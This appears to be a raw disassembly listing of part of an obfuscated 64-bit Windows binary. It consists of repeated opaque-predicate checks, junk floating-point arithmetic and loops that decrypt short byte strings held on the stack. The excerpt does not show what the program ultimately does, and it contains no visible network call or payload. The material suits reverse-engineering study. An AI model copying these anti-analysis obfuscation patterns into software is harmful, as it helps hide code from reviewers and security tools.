movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140044abb
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si r12d, xmm0
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*2]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, r12d
test eax, eax
je 0x140044e8b
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140044bab
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
jne 0x140044c16
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140044c16
movzx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
call fcn.140003790
call fcn.140003760
call fcn.140003750
movzx eax, byte [reloc.OLEAUT32.dll_VariantClear]
movzx eax, byte [0x14007c0db]
movsd xmm0, qword [rsp + 0x50]
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140045ae9
call fcn.140003750
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003790
movsx r8d, al
mov edx, edi
imul edx, ebx
lea ebx, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rbx*2]
add eax, r8d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140044d5a
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140044d5a
mov esi, 7
mov dword [rsp + 0x6c], esi
jmp 0x140044df6
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140044df2
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si esi, xmm0
mov dword [rsp + 0x6c], esi
jmp 0x140044df6
mov esi, dword [rsp + 0x6c]
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, esi
test eax, eax
je 0x140045ae9
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
jmp 0x1400456c6
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140045ae9
mov byte [rsp + 0xcc0], 0xab
mov byte [rsp + 0xcc1], 0xb5
mov byte [rsp + 0xcc2], 0xb4
mov byte [rsp + 0xcc3], 0x33
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xcc4], xmm0
mov word [rsp + 0xcd4], ax
mov byte [rsp + 0xcd6], al
xor r8d, r8d
mov qword [rsp + 0x50], r8
mov rax, qword [rsp + 0x50]
cmp rax, 0x17
jae 0x140044f71
nop
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0xcc0]
movabs rax, 0xbe5df705f6915499
add rdx, rax
movzx eax, bl
and al, dl
add al, al
sub bl, al
sub bl, 0x2f
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0xcc0], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x17
jb 0x140044f20
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mov rax, r8
cmp r14d, dword [rsp + 0xcc0]
sete al
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140045039
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140045039
mov r13d, 7
jmp 0x1400450cc
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400450cc
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si r13d, xmm0
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*8]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, r13d
test eax, eax
je 0x140045129
movups xmm0, xmmword [rsp + 0x2640]
movups xmmword [rsp + 0x26a0], xmm0
inc r14d
jmp 0x14004462f
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
imul eax, edx, 7
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140045ae9
call fcn.1400037a0
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.140003780
movsx ebx, al
movsx edx, byte [0x14007d2e0]
imul edx, edi
lea edx, [rdx + rdx*2]
add edx, edx
sub edx, esi
movsx eax, byte [0x14007c0dc]
add eax, edx
add eax, ebx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004525f
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14004525f
mov esi, 7
mov dword [rsp + 0x64], esi
jmp 0x1400452fb
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400452f7
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si esi, xmm0
mov dword [rsp + 0x64], esi
jmp 0x1400452fb
mov esi, dword [rsp + 0x64]
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*2]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, esi
test eax, eax
je 0x1400457a3
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400453ea
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
jne 0x140045455
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140045455
movzx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
call fcn.140003790
call fcn.140003760
call fcn.140003750
movzx eax, byte [reloc.OLEAUT32.dll_VariantClear]
movzx eax, byte [0x14007c0db]
movsd xmm0, qword [rsp + 0x50]
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140045ae9
call fcn.140003750
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003790
movsx r8d, al
mov edx, edi
imul edx, ebx
lea ebx, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rbx*2]
add eax, r8d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140045599
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140045599
mov esi, 7
mov dword [rsp + 0x70], esi
jmp 0x140045635
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140045631
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si esi, xmm0
mov dword [rsp + 0x70], esi
jmp 0x140045635
mov esi, dword [rsp + 0x70]
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, esi
test eax, eax
je 0x140045ae9
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
movsx ecx, al
mov edx, ebx
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rdx + rdx*2]
add eax, ecx
add eax, edi
xor edx, edx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004572c
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
jne 0x140045ae9
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140045ae9
movzx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
call fcn.140003790
call fcn.140003760
call fcn.140003750
movzx eax, byte [reloc.OLEAUT32.dll_VariantClear]
movzx eax, byte [0x14007c0db]
movsd xmm0, qword [rsp + 0x50]
inc r14d
jmp 0x14004462f
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140045ae9
mov byte [rsp + 0xce0], 0xda
mov byte [rsp + 0xce1], 0xd1
mov byte [rsp + 0xce2], 0xd0
mov byte [rsp + 0xce3], 0x53
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xce4], xmm0
mov qword [rsp + 0xcf4], rax
mov dword [rsp + 0xcfc], eax
xor r8d, r8d
mov qword [rsp + 0x50], r8
mov rax, qword [rsp + 0x50]
cmp rax, 0x20
jae 0x140045891
nop word [rax + rax]
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0xce0]
movabs rax, 0xfc4db9a1af56e223
add rdx, rax
movzx eax, bl
and al, dl
add al, al
sub bl, al
add bl, 0xb
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0xce0], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x20
jb 0x140045840
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mov rax, r8
cmp r14d, dword [rsp + 0xce0]
sete al
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004595c
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14004595c
mov esi, 7
mov dword [rsp + 0x68], esi
jmp 0x1400459f8
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400459f4
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si esi, xmm0
mov dword [rsp + 0x68], esi
jmp 0x1400459f8
mov esi, dword [rsp + 0x68]
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*4]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, esi
test eax, eax
je 0x140045ae9
mov byte [rsp + 0xd00], 0x46
mov byte [rsp + 0xd01], 0x79
mov byte [rsp + 0xd02], 0x78
mov byte [rsp + 0xd03], 0x7b
xorps xmm0, xmm0
movups xmmword [rsp + 0xd04], xmm0
mov qword [rsp + 0x50], 0
mov rax, qword [rsp + 0x50]
cmp rax, 0x14
jae 0x140045ad1
nop
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0xd00]
movabs rax, 0x9b5ecdf2fdbb62ef
add rdx, rax
movzx eax, bl
and al, dl
add al, al
sub bl, al
add bl, 0x77
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0xd00], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x14
jb 0x140045a80
movsxd rax, dword [rsp + 0xd00]
movups xmm0, xmmword [rsp + 0x2640]
movups xmmword [rsp + rax + 0x2690], xmm0
inc r14d
jmp 0x14004462f
inc dword [rsp + 0x78]
mov r14d, dword [rsp + 0x78]
jmp 0x1400443f6
call fcn.140003750
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003790
movsx r8d, al
mov edx, edi
imul edx, ebx
lea ebx, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rbx*2]
add eax, r8d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140045bfa
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140045bfa
mov eax, 7
jmp 0x140045c92
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140045c8e
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
jmp 0x140045c92
mov eax, dword [rsp + 0x68]
xor r12d, r12d
cmp r12d, eax
jge 0x140045ccc
lea rdx, [rsp + 0x2690]
lea rcx, [rsp + 0x1a28]
call fcn.140001d00
